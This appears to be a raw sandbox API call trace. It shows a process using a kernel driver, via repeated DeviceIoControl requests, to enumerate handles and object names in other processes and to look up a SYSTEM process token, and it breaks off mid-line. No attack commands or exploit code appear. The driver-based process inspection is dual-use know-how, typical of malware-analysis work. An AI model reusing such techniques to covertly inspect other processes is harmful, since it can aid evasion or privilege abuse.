DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x3c, lpOverlapped=0x0) returned 1 [0136.587] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.587] PsAcquireProcessExitSynchronization () returned 0x0 [0136.587] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0) [0136.587] ObReferenceObjectByHandle (in: Handle=0x618, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800345b610, HandleInformation=0x0) returned 0x0 [0136.587] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.587] PsReleaseProcessExitSynchronization () returned 0x2 [0136.587] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0136.587] ObQueryNameString (in: Object=0xfffffa800345b610, ObjectNameInfo=0xfffffa80024077c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80024077c4, ReturnLength=0xfffff88005473550) returned 0x0 [0136.587] ObfDereferenceObject (Object=0xfffffa800345b610) returned 0x2 [0136.587] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.587] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.587] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.587] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0xd0, lpOverlapped=0x0) returned 1 [0136.587] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.587] PsAcquireProcessExitSynchronization () returned 0x0 [0136.587] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0) [0136.587] ObReferenceObjectByHandle (in: Handle=0x638, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800348c8d0, HandleInformation=0x0) returned 0x0 [0136.587] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.587] PsReleaseProcessExitSynchronization () returned 0x2 [0136.587] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0136.587] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800243d7c4, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800243d7c4, ReturnLength=0xfffff88005473508) returned 0x0 [0136.587] ObfDereferenceObject (Object=0xfffffa800348c8d0) returned 0x6 [0136.587] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.587] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.587] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.587] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0136.587] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.587] PsAcquireProcessExitSynchronization () returned 0x0 [0136.587] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0) [0136.588] ObReferenceObjectByHandle (in: Handle=0x65c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0019a8fc0, HandleInformation=0x0) returned 0x0 [0136.588] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.588] PsReleaseProcessExitSynchronization () returned 0x2 [0136.588] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0136.588] ObQueryNameString (in: Object=0xfffff8a0019a8fc0, ObjectNameInfo=0xfffffa8002041044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8002041044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.588] ObfDereferenceObject (Object=0xfffff8a0019a8fc0) returned 0xa [0136.588] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.588] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.588] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.588] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0xe6, lpOverlapped=0x0) returned 1 [0136.588] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.588] PsAcquireProcessExitSynchronization () returned 0x0 [0136.588] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0) [0136.588] ObReferenceObjectByHandle (in: Handle=0x6ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80019453e0, HandleInformation=0x0) returned 0x0 [0136.588] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.588] PsReleaseProcessExitSynchronization () returned 0x2 [0136.588] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0136.588] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a72044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8003a72044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.588] ObfDereferenceObject (Object=0xfffffa80019453e0) returned 0x1 [0136.588] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.588] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.588] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.588] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x68, lpOverlapped=0x0) returned 1 [0136.588] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.588] PsAcquireProcessExitSynchronization () returned 0x0 [0136.588] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0) [0136.588] ObReferenceObjectByHandle (in: Handle=0x6b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0014f2d60, HandleInformation=0x0) returned 0x0 [0136.588] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.588] PsReleaseProcessExitSynchronization () returned 0x2 [0136.588] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0136.588] ObQueryNameString (in: Object=0xfffff8a0014f2d60, ObjectNameInfo=0xfffffa800391a7c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800391a7c4, ReturnLength=0xfffff88005473550) returned 0x0 [0136.588] ObfDereferenceObject (Object=0xfffff8a0014f2d60) returned 0x6 [0136.588] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.589] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.589] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.589] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x3c, lpOverlapped=0x0) returned 1 [0136.589] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.589] PsAcquireProcessExitSynchronization () returned 0x0 [0136.589] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0) [0136.589] ObReferenceObjectByHandle (in: Handle=0x738, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80030bbdf0, HandleInformation=0x0) returned 0x0 [0136.589] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.589] PsReleaseProcessExitSynchronization () returned 0x2 [0136.589] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0136.589] ObQueryNameString (in: Object=0xfffffa80030bbdf0, ObjectNameInfo=0xfffffa80037d67c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80037d67c4, ReturnLength=0xfffff88005473550) returned 0x0 [0136.589] ObfDereferenceObject (Object=0xfffffa80030bbdf0) returned 0x2 [0136.589] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.589] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.589] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.589] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0136.589] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.589] PsAcquireProcessExitSynchronization () returned 0x0 [0136.589] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0) [0136.589] ObReferenceObjectByHandle (in: Handle=0x740, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80019d1070, HandleInformation=0x0) returned 0x0 [0136.589] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.589] PsReleaseProcessExitSynchronization () returned 0x2 [0136.589] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0136.589] ObQueryNameString (in: Object=0xfffffa80019d1070, ObjectNameInfo=0xfffffa80034947c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80034947c4, ReturnLength=0xfffff88005473550) returned 0x0 [0136.589] ObfDereferenceObject (Object=0xfffffa80019d1070) returned 0x1 [0136.589] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.589] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.589] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.589] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0xd8, lpOverlapped=0x0) returned 1 [0136.589] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.589] PsAcquireProcessExitSynchronization () returned 0x0 [0136.589] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0) [0136.589] ObReferenceObjectByHandle (in: Handle=0x758, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800206b4e0, HandleInformation=0x0) returned 0x0 [0136.589] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.590] PsReleaseProcessExitSynchronization () returned 0x2 [0136.590] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0136.590] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.590] ObfDereferenceObject (Object=0xfffffa800206b4e0) returned 0x13 [0136.590] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.590] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.590] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.590] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0xe2, lpOverlapped=0x0) returned 1 [0136.590] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.590] PsAcquireProcessExitSynchronization () returned 0x0 [0136.590] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0) [0136.590] ObReferenceObjectByHandle (in: Handle=0x760, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800207daa0, HandleInformation=0x0) returned 0x0 [0136.590] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.590] PsReleaseProcessExitSynchronization () returned 0x2 [0136.590] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0136.590] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.590] ObfDereferenceObject (Object=0xfffffa800207daa0) returned 0x13 [0136.590] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.590] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.590] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.590] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0xda, lpOverlapped=0x0) returned 1 [0136.590] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.590] PsAcquireProcessExitSynchronization () returned 0x0 [0136.590] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0) [0136.590] ObReferenceObjectByHandle (in: Handle=0x76c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80020838a0, HandleInformation=0x0) returned 0x0 [0136.590] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.590] PsReleaseProcessExitSynchronization () returned 0x2 [0136.590] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0136.590] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0d044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a0d044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.590] ObfDereferenceObject (Object=0xfffffa80020838a0) returned 0x12 [0136.590] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.590] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.590] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.591] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0xe2, lpOverlapped=0x0) returned 1 [0136.591] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.591] PsAcquireProcessExitSynchronization () returned 0x0 [0136.591] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0) [0136.591] ObReferenceObjectByHandle (in: Handle=0x780, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80020899b0, HandleInformation=0x0) returned 0x0 [0136.591] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.591] PsReleaseProcessExitSynchronization () returned 0x2 [0136.591] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0136.591] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019ff044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80019ff044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.591] ObfDereferenceObject (Object=0xfffffa80020899b0) returned 0x12 [0136.591] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.591] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.591] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.591] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0xf4, lpOverlapped=0x0) returned 1 [0136.591] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.591] PsAcquireProcessExitSynchronization () returned 0x0 [0136.591] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0) [0136.591] ObReferenceObjectByHandle (in: Handle=0x874, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80037eecc0, HandleInformation=0x0) returned 0x0 [0136.591] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.591] PsReleaseProcessExitSynchronization () returned 0x2 [0136.591] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0136.591] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.591] ObfDereferenceObject (Object=0xfffffa80037eecc0) returned 0x6 [0136.591] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.591] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.591] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x338) returned 0xc0 [0136.591] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0136.591] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa800312bb30, HandleInformation=0x0) returned 0x0 [0136.591] ObOpenObjectByPointer (in: Object=0xfffffa800312bb30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff800005f4) returned 0x0 [0136.592] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xd0 [0136.592] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800005f4, DesiredAccess=0x8, TokenHandle=0xfffffa80021959c0 | out: TokenHandle=0xfffffa80021959c0*=0xc8) returned 0x0 [0136.592] ZwClose (Handle=0xffffffff800005f4) returned 0x0 [0136.592] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.592] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0136.592] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0136.593] CloseHandle (hObject=0xc8) returned 1 [0136.593] CloseHandle (hObject=0xc0) returned 1 [0136.593] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.593] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0136.593] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.593] PsAcquireProcessExitSynchronization () returned 0x0 [0136.593] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054735d0) [0136.594] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80031589b0, HandleInformation=0x0) returned 0x0 [0136.594] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.594] PsReleaseProcessExitSynchronization () returned 0x2 [0136.594] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xce [0136.594] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019fb044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80019fb044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.594] ObfDereferenceObject (Object=0xfffffa80031589b0) returned 0x1 [0136.594] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.594] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.594] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.594] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0136.594] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.594] PsAcquireProcessExitSynchronization () returned 0x0 [0136.594] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054735d0) [0136.594] ObReferenceObjectByHandle (in: Handle=0x5c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80031657d0, HandleInformation=0x0) returned 0x0 [0136.594] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.594] PsReleaseProcessExitSynchronization () returned 0x2 [0136.594] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xce [0136.594] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8001ffb044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001ffb044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.594] ObfDereferenceObject (Object=0xfffffa80031657d0) returned 0x1 [0136.594] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.594] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.594] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.594] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0136.594] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005473558 